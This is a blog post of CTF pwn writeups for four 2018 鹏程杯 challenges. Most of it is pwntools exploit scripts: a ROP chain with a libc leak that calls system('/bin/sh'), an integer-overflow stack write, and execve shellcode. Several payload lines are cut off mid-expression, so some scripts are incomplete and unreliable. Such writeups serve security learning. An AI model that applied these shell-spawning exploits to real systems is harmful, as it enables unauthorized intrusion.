鹏程杯2018 Pwn Writeup

原创

Kaller_ 于 2018-12-05 13:18:19 发布 1143 收藏
分类专栏： CTF

本文链接：https://blog.csdn.net/KaiKaiaiq/article/details/84831027

PWN

code

```
int __cdecl main(int argc, const char **argv, const char **
{
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  while ( 1 )
  {
    while ( 1 )
    {
      puts("Please input your name:");
      __isoc99_scanf("%s", str);
      if ( check_str() )
        break;
      puts("Wrong Input");
    }
    if ( angr_hash() == 22493966389LL )
      break;
    puts("Try Again");
  }
  puts("Welcome");
  have_fun();
  return 0;
}
```


hash爆破（By：Apeng师傅）：

```
from itertools import *
for t in range(10):
    for x in product('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', repeat=t):
        v4=0
        for i in range(t):
            v0=117*v4+ord(x[i])
            v4=(v0 - 0x1D5E0C579E0 * (((((((((0x8B7978B2C52E2845 * v0)&0xffffffffffffffff) >> 64)&0xffffffffffffffff) + v0)&0xffffffffffffffff) >> 40)&0xffffffffffffffff
        if v4==0x53CBEB035:
            print(x)
            print(v4)
            exit(0)
    print(x)
```



```
    print(x,hex(v4))
KeyboardInterrupt
PS D:\work> & C:/Python27/python.exe d:/
('w', 'y', 'B', 'T', 's')
22493966389
PS D:\work>
```

得到wyBTs。

```
int have_fun()
{
  char buf; // [rsp+0h] [rbp-70h]
  int v2; // [rsp+60h] [rbp-10h]

  memset(&buf, 0, 0x60uLL);
  v2 = 0;
  puts("Please input your code to save");
  read(0, &buf, 0x100uLL);
  return puts("Save Success");
}
```


这里栈溢出，控制 ret后，“pop rdi ret”用来调用call。

1.leak_libc 把puts的got.plt表用puts函数输出

2.计算偏移，得到system和字符串/bin/sh

3.调用system。

```
from pwn import *
context.log_level="debug"

p=process("./code")
#p=remote("58.20.46.147",38120)
libc=ELF("./libc.so.6")
#libc=ELF("/libc/xitong.so")
p.recv()
p.sendline("wyBTs")
p.recvuntil("to save")
payload="a"*(7*16+8)+p64(0x0000000000400983)+p64(0x0000000000601018)+p64(0x0000000000400570)+p64(0x00000000
p.sendline(payload)
restr=p.recvuntil("Please")
print "zhukai"+restr
restr=restr[14:20]+"\x00\x00"
print restr
int_1=u64(restr)
print hex(int_1)
libc_base_addr=int_1-libc.symbols["puts"]
system_addr=libc_base_addr+libc.symbols["system"]
binsh_addr=libc_base_addr+next(libc.search("/bin/sh"))
print hex(system_addr)
print hex(binsh_addr)
payload="a"*(7*16+8)+p64(0x0000000000400983)+p64(binsh_addr)+p64(system_addr)+p64(system_addr)
p.sendline(payload)
p.interactive()
```

overInt

```
int v21; // [rsp+38h] [rbp-8h]
int i; // [rsp+3Ch] [rbp-4h]

v21 = 4;
v20 = 0;
v19 = 0;
v17 = 0x20633372;
v9 = 'a';
v10 = 'b';
v11 = 'c';
v12 = 'd';
v13 = 'e';
buf = &v10;
v18 = *&v10;
alarm(0x78u);
setbuf(stdout, 0LL);
puts("Please set arrary number: ");
v20 = read(0, buf, v21);
printf("len is %d\n", v20);
if ( v20 != v21 )
{
  puts("the x length should be 4 Bytes!");
  exit(0);
}
v18 = *buf;
v19 = sub_4007D1(&v9, 5);
if ( v19 != 35 )
{
  puts("You get the wrong key!");
  exit(0);
}
v3 = sub_4006C6(v21);
if ( v3 == v17 )
{
  v18 += v17;
  if ( v18 > 4 )
  {
    printf("no!", 5LL);
  }
  else
  {
    v8 = 0;
    puts("How many positions you want to modify?");
    v4 = &v8;
    v20 = read(0, &v8, v21);
    if ( v20 == v21 )
    {
      for ( i = 0; i < v8; ++i )
      {
        v15 = 0;
        v14 = 0;
        v7 = 0;
        v6 = 0;
        puts("Which position you want to modify?");
        v15 = read(0, &v7, v21);
        puts("What content you want to write in?");
        v4 = &v6;
        v14 = read(0, &v6, 1uLL);
        if ( v15 == v21 && v14 == 1 )
        {
          *(&v9 + v7) = v6;
          v4 = v6;
          printf("str_pos is %c\n", v4);
        }
      }
    }
    printf("hello!", v4);
```

```
  }
}
return 0LL;
```


sub_4007D1：我们爆破一下，返回值为35就OK。

sub_4006C6：一个叠加，这里出现了整数溢出（0xffffffff）

```
for i in range(26):
 p.sendline("\xff\xff\xff")
 p.recv()

print "ks"
p.send("\x8C\x33\x63\02")
p.recv()
#这样可以使v3=0x20633372，进入下面流程。
```

```
puts("Which position you want to modify?");
v15 = read(0, &v7, v21);
puts("What content you want to write in?");
v4 = &v6;
v14 = read(0, &v6, 1uLL);
if ( v15 == v21 && v14 == 1 )
{
  *(&v9 + v7) = v6;
  v4 = v6;
  printf("str_pos is %c\n", v4);
}
```

这里是栈任意地址（偏移）写。

```
from pwn import *
import binascii
context.log_level="debug"
#p=process("./overInt")
#58.20.46.149:35533
p=remote("58.20.46.148",35272)
#58.20.46.150:41314
elf=ELF("./overInt")
libc=ELF("/libc/libc6_2.23-0ubuntu10_amd64.so")
p.recv()
p.send("!!$t")
p.recv()
#raw_input()
p.sendline("\x1c\x00\x00\x00")
p.recv()
for i in range(26):
 p.sendline("\xff\xff\xff")
 p.recv()

print "ks"
p.send("\x8C\x33\x63\02")
p.recv()

p.send("\x20\x00\x00\x00")
p.recvuntil("modify?\n")



p.send("\x38\x00\x00\x00")
p.recvuntil("write in?\n")
```

```
p.send("\x13")
p.recvuntil("modify?\n")
p.send("\x39\x00\x00\x00")
p.recvuntil("write in?\n")
p.send("\x0b")
p.recvuntil("modify?\n")
p.send("\x3a\x00\x00\x00")
p.recvuntil("write in?\n")
p.send("\x40")
p.recvuntil("modify?\n")
p.send("\x3b\x00\x00\x00")
p.recvuntil("write in?\n")
p.send("\x00")
p.recvuntil("modify?\n")
p.send("\x3c\x00\x00\x00")
p.recvuntil("write in?\n")
p.send("\x00")
p.recvuntil("modify?\n")
p.send("\x3d\x00\x00\x00")
p.recvuntil("write in?\n")
p.send("\x00")
p.recvuntil("modify?\n")
p.send("\x3e\x00\x00\x00")
p.recvuntil("write in?\n")
p.send("\x00")
p.recvuntil("modify?\n")
p.send("\x3f\x00\x00\x00")
p.recvuntil("write in?\n")
p.send("\x00")
p.recvuntil("modify?\n")
p.send("\x40\x00\x00\x00")
p.recv()
p.send("\x18")#gaiguo
p.recvuntil("modify?\n")
p.send("\x41\x00\x00\x00")
p.recv()
p.send("\x20")
p.recvuntil("modify?\n")
p.send("\x42\x00\x00\x00")
p.recv()
p.send("\x60")
p.recvuntil("modify?\n")
p.send("\x43\x00\x00\x00")
p.recv()
p.send("\x00")
p.recvuntil("modify?\n")
p.send("\x44\x00\x00\x00")
p.recv()
p.send("\x00")
p.recvuntil("modify?\n")
p.send("\x45\x00\x00\x00")
p.recv()
p.send("\x00")
p.recvuntil("modify?\n")
p.send("\x46\x00\x00\x00")
p.recv()
p.send("\x00")
p.recvuntil("modify?\n")
p.send("\x47\x00\x00\x00")
p.recv()
```

```
p.send("\x00")
p.recv()

p.send("\x48\x00\x00\x00")
p.recv()
p.send("\x70")
p.recvuntil("modify?\n")
p.send("\x49\x00\x00\x00")
p.recv()
p.send("\x05")
p.recvuntil("modify?\n")
p.send("\x4a\x00\x00\x00")
p.recv()
p.send("\x40")
p.recvuntil("modify?\n")
p.send("\x4b\x00\x00\x00")
p.recv()
p.send("\x00")
p.recvuntil("modify?\n")
p.send("\x4c\x00\x00\x00")
p.recv()
p.send("\x00")
p.recvuntil("modify?\n")
p.send("\x4d\x00\x00\x00")
p.recv()
p.send("\x00")
p.recvuntil("modify?\n")
p.send("\x4e\x00\x00\x00")
p.recv()
p.send("\x00")
p.recvuntil("modify?\n")
p.send("\x4f\x00\x00\x00")
p.recv()
p.send("\x00")


p.send("\x50\x00\x00\x00")
p.recv()
p.send("\x7f")
p.recvuntil("modify?\n")
p.send("\x51\x00\x00\x00")
p.recv()
p.send("\x08")
p.recvuntil("modify?\n")
p.send("\x52\x00\x00\x00")
p.recv()
p.send("\x40")
p.recvuntil("modify?\n")
p.send("\x53\x00\x00\x00")
p.recv()
p.send("\x00")
p.recvuntil("modify?\n")
p.send("\x54\x00\x00\x00")
p.recv()
p.send("\x00")
p.recvuntil("modify?\n")
p.send("\x55\x00\x00\x00")
p.recv()
p.send("\x00")
```

```
p.recvuntil("modify?\n")
p.send("\x56\x00\x00\x00")
p.recv()
p.send("\x00")
p.recvuntil("modify?\n")
#000000000040087F
p.send("\x57\x00\x00\x00")
p.recv()
p.send("\x00")

restr=p.recv()[19:25]
restr=restr+"\x00\x00"
#print binascii.b2a_hex(restr)
puts_got_addr=u64(restr)
print hex(puts_got_addr)

system_addr=puts_got_addr-libc.symbols["puts"]+libc.symbols["system"]
binsh_addr=puts_got_addr-libc.symbols["puts"]+next(libc.search("/bin/sh"))
print hex(system_addr)

str2=hex(system_addr)[2:]
str1=hex(binsh_addr)[2:]
#print "bin"+str1
#print (str2)
raw_input()
#chr(int(str1[10:12],16))
p.send("!!$t")
p.recv()
#raw_input()
p.sendline("\x1c\x00\x00\x00")
p.recv()
for i in range(26):
 p.sendline("\xff\xff\xff")
 p.recv()
print "ks"
p.send("\x8C\x33\x63\02")
p.recv()
p.send("\x18\x00\x00\x00")
p.recvuntil("modify?\n")



p.send("\x38\x00\x00\x00")
p.recv()
p.send("\x13")
p.recvuntil("modify?\n")
p.send("\x39\x00\x00\x00")
p.recv()
p.send("\x0b")
p.recvuntil("modify?\n")
p.send("\x3a\x00\x00\x00")
p.recv()
p.send("\x40")
p.recvuntil("modify?\n")
p.send("\x3b\x00\x00\x00")
p.recv()
p.send("\x00")
p.recvuntil("modify?\n")
p.send("\x3c\x00\x00\x00")
p.recv()
```

```
p.send("\x00")
p.recvuntil("modify?\n")
p.send("\x3d\x00\x00\x00")
p.recv()
p.send("\x00")
p.recvuntil("modify?\n")
p.send("\x3e\x00\x00\x00")
p.recv()
p.send("\x00")
p.recvuntil("modify?\n")
p.send("\x3f\x00\x00\x00")
p.recv()
p.send("\x00")
p.recvuntil("modify?\n")



p.send("\x40\x00\x00\x00")
p.recv()
p.send(chr(int(str1[10:12],16)))
p.recvuntil("modify?\n")
p.send("\x41\x00\x00\x00")
p.recv()
p.send(chr(int(str1[8:10],16)))
p.recvuntil("modify?\n")
p.send("\x42\x00\x00\x00")
p.recv()
p.send(chr(int(str1[6:8],16)))
p.recvuntil("modify?\n")
p.send("\x43\x00\x00\x00")
p.recv()
p.send(chr(int(str1[4:6],16)))
p.recvuntil("modify?\n")
p.send("\x44\x00\x00\x00")
p.recv()
p.send(chr(int(str1[2:4],16)))
p.recvuntil("modify?\n")
p.send("\x45\x00\x00\x00")
p.recv()
p.send(chr(int(str1[0:2],16)))
p.recvuntil("modify?\n")
p.send("\x46\x00\x00\x00")
p.recv()
p.send("\x00")
p.recvuntil("modify?\n")
p.send("\x47\x00\x00\x00")
p.recv()
p.send("\x00")
p.recvuntil("modify?\n")



p.send("\x48\x00\x00\x00")
p.recv()
p.send(chr(int(str2[10:12],16)))
p.recvuntil("modify?\n")
p.send("\x49\x00\x00\x00")
p.recv()
p.send(chr(int(str2[8:10],16)))
p.recvuntil("modify?\n")
```

```
p.send("\x4a\x00\x00\x00")
p.recv()
p.send(chr(int(str2[6:8],16)))
p.recvuntil("modify?\n")
p.send("\x4b\x00\x00\x00")
p.recv()
p.send(chr(int(str2[4:6],16)))
p.recvuntil("modify?\n")
p.send("\x4c\x00\x00\x00")
p.recv()
p.send(chr(int(str2[2:4],16)))
p.recvuntil("modify?\n")
p.send("\x4d\x00\x00\x00")
p.recv()
p.send(chr(int(str2[0:2],16)))
p.recvuntil("modify?\n")
p.send("\x4e\x00\x00\x00")
p.recv()
p.send("\x00")
p.recvuntil("modify?\n")
p.send("\x4f\x00\x00\x00")
p.recv()
p.send("\x00")
p.interactive()
```

#没有写子函数调用。

note

```
from pwn import *
context.log_level='debug'
p=process('./note')
#p=remote()
p.recv()

def add(a,b,c):
 p.sendline('1')#add
 sleep(0.01)
 p.sendline(a)#index
 sleep(0.01)

 p.send(b)#length
 sleep(0.01)
 p.sendline(c)#context
 sleep(0.01)

payload1='\x48\x31\xff\x57\x57\x5e\x5a\xeb\x17'
payload2='\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\xeb\x14'
payload3='\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05'



add('0','13\x00\x00\x00\x00\x00\x00\x00\x00\xf8\xff\xff\xff\x00',payload1)
add("1",'13\n',payload2)
add("2",'13\n',payload3)

p.sendline('5')
p.interactive()
```

treasure

```
from pwn import *
context.log_level="debug"
p=process('./treasure')
#p=remote("58.20.46.149",44323)
#.149:44323
p.recv()
p.sendline("1")
p.recv()
raw_input()
payload="\x33\xc0\x52\x5e\x8b\xd1\x0f\x05\x90"#调用syscall=read（0,,）
shellcode=payload+"\x90\x90\x90\x90\x90\x90\x90\x90\x90"+"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\
p.sendline(shellcode)
p.sendline("ls")
p.interactive()
```